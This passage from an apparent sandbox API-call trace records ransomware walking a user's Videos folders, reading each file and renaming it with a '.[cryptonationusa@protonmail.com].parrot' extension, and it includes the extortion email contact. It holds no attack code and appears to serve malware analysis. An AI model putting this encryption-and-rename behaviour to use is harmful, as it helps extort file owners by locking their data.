hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x592c62a0, ftCreationTime.dwHighDateTime=0x1d5c5f8, ftLastAccessTime.dwLowDateTime=0x8ba852c0, ftLastAccessTime.dwHighDateTime=0x1d5b590, ftLastWriteTime.dwLowDateTime=0xc559f540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x111a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Hd1_8C3YyaVo.mkv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="3HD1_8~1.PAR")) returned 1 [0094.106] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.106] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0094.107] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.107] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x67fc, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x67fc, lpOverlapped=0x0) returned 1 [0094.108] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.108] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\vYrPOpr0_M.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\vyrpopr0_m.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\vYrPOpr0_M.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\vyrpopr0_m.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.111] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.111] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0094.112] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.112] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5dce, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x5dce, lpOverlapped=0x0) returned 1 [0094.112] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.113] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\y177r0WFvEFlBsmW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\y177r0wfveflbsmw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\y177r0WFvEFlBsmW.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\y177r0wfveflbsmw.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.115] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0094.115] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61d94a50, ftCreationTime.dwHighDateTime=0x1d5c3a8, ftLastAccessTime.dwLowDateTime=0xc5683d80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5683d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.115] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e4c5c0, ftCreationTime.dwHighDateTime=0x1d5b782, ftLastAccessTime.dwLowDateTime=0xf3776f30, ftLastAccessTime.dwHighDateTime=0x1d5c1c0, ftLastWriteTime.dwLowDateTime=0xc533df40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x42c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhvbS.mp4.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DHVBSM~1.PAR")) returned 1 [0094.115] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.116] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0094.116] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.116] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10b25, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x10b25, lpOverlapped=0x0) returned 1 [0094.119] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.120] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Al95BYZKA67sb9rU.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\al95byzka67sb9ru.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Al95BYZKA67sb9rU.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\al95byzka67sb9ru.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666ac0 | out: hHeap=0x5b0000) returned 1 [0094.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0094.122] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.122] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0094.123] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.123] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x479f, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x479f, lpOverlapped=0x0) returned 1 [0094.126] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.127] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b_rf0LFGZRUNq1b.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b_rf0lfgzrunq1b.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b_rf0LFGZRUNq1b.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b_rf0lfgzrunq1b.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666ac0 | out: hHeap=0x5b0000) returned 1 [0094.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3164050 | out: hHeap=0x5b0000) returned 1 [0094.129] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0094.129] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.129] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70de14f0, ftCreationTime.dwHighDateTime=0x1d5c0af, ftLastAccessTime.dwLowDateTime=0xf3c143f0, ftLastAccessTime.dwHighDateTime=0x1d5b700, ftLastWriteTime.dwLowDateTime=0xf3c143f0, ftLastWriteTime.dwHighDateTime=0x1d5b700, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.130] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0094.130] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.130] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab6a290, ftCreationTime.dwHighDateTime=0x1d5be24, ftLastAccessTime.dwLowDateTime=0x9a094050, ftLastAccessTime.dwHighDateTime=0x1d5c52f, ftLastWriteTime.dwLowDateTime=0x9a094050, ftLastWriteTime.dwHighDateTime=0x1d5c52f, nFileSizeHigh=0x0, nFileSizeLow=0xcea7, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C09AIEfff_iHN.avi", cAlternateFileName="2C09AI~1.AVI")) returned 1 [0094.131] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.131] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0094.138] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.138] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcea7, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xcea7, lpOverlapped=0x0) returned 1 [0094.140] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.142] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\2C09AIEfff_iHN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\2c09aiefff_ihn.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\2C09AIEfff_iHN.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\2c09aiefff_ihn.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666ac0 | out: hHeap=0x5b0000) returned 1 [0094.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0094.146] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.146] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0094.147] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.147] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x59cd, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x59cd, lpOverlapped=0x0) returned 1 [0094.148] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.149] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\BRVqRN99uSofQ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\brvqrn99usofq.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\BRVqRN99uSofQ.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\brvqrn99usofq.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666ac0 | out: hHeap=0x5b0000) returned 1 [0094.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3164050 | out: hHeap=0x5b0000) returned 1 [0094.151] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.152] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0094.152] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.153] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10941, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x10941, lpOverlapped=0x0) returned 1 [0094.155] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.159] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\s1lwcHV5sJSYYHg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\s1lwchv5sjsyyhg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\s1lwcHV5sJSYYHg.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\s1lwchv5sjsyyhg.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666ac0 | out: hHeap=0x5b0000) returned 1 [0094.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0094.162] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\wZ xi-zeJ kdyZ888Z\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0094.162] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.162] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe94f56b0, ftCreationTime.dwHighDateTime=0x1d5c082, ftLastAccessTime.dwLowDateTime=0x6abef4d0, ftLastAccessTime.dwHighDateTime=0x1d5c1d2, ftLastWriteTime.dwLowDateTime=0x6abef4d0, ftLastWriteTime.dwHighDateTime=0x1d5c1d2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.162] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0094.162] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.162] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe94f56b0, ftCreationTime.dwHighDateTime=0x1d5c082, ftLastAccessTime.dwLowDateTime=0x6abef4d0, ftLastAccessTime.dwHighDateTime=0x1d5c1d2, ftLastWriteTime.dwLowDateTime=0x6abef4d0, ftLastWriteTime.dwHighDateTime=0x1d5c1d2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0094.165] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\wZ xi-zeJ kdyZ888Z\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0094.165] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe94f56b0, ftCreationTime.dwHighDateTime=0x1d5c082, ftLastAccessTime.dwLowDateTime=0x6abef4d0, ftLastAccessTime.dwHighDateTime=0x1d5c1d2, ftLastWriteTime.dwLowDateTime=0x6abef4d0, ftLastWriteTime.dwHighDateTime=0x1d5c1d2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.166] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe94f56b0, ftCreationTime.dwHighDateTime=0x1d5c082, ftLastAccessTime.dwLowDateTime=0x6abef4d0, ftLastAccessTime.dwHighDateTime=0x1d5c1d2, ftLastWriteTime.dwLowDateTime=0x6abef4d0, ftLastWriteTime.dwHighDateTime=0x1d5c1d2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0094.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ae908 | out: hHeap=0x5b0000) returned 1 [0094.166] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0094.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0094.166] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf502d20, ftCreationTime.dwHighDateTime=0x1d5b9a4, ftLastAccessTime.dwLowDateTime=0x3ea1dd20, ftLastAccessTime.dwHighDateTime=0x1d5b982, ftLastWriteTime.dwLowDateTime=0x3ea1dd20, ftLastWriteTime.dwHighDateTime=0x1d5b982, nFileSizeHigh=0x0, nFileSizeLow=0x2a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="yk8F0g.mp4", cAlternateFileName="")) returned 1 [0094.166] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.167] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0094.167] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.167] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a97, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x2a97, lpOverlapped=0x0) returned 1 [0094.168] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.168] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\yk8F0g.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\yk8f0g.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\yk8F0g.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fiwi7i\\yk8f0g.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ae908 | out: hHeap=0x5b0000) returned 1 [0094.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0094.172] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FiWi7I\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0094.172] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70de14f0, ftCreationTime.dwHighDateTime=0x1d5c0af, ftLastAccessTime.dwLowDateTime=0xc571c300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc571c300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.173] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab6a290, ftCreationTime.dwHighDateTime=0x1d5be24, ftLastAccessTime.dwLowDateTime=0x9a094050, ftLastAccessTime.dwHighDateTime=0x1d5c52f, ftLastWriteTime.dwLowDateTime=0xc56d0040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xcfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C09AIEfff_iHN.avi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="2C09AI~1.PAR")) returned 1 [0094.173] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.173] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0094.174] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.174] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18e20, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x18e20, lpOverlapped=0x0) returned 1 [0094.178] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.181] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Ub1ld jnyLFGuFi8o1d.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ub1ld jnylfgufi8o1d.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Ub1ld jnyLFGuFi8o1d.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ub1ld jnylfgufi8o1d.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666d48 | out: hHeap=0x5b0000) returned 1 [0094.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0094.183] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.183] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0094.184] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.184] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x141e5, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x141e5, lpOverlapped=0x0) returned 1 [0094.190] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.192] MoveFileExW 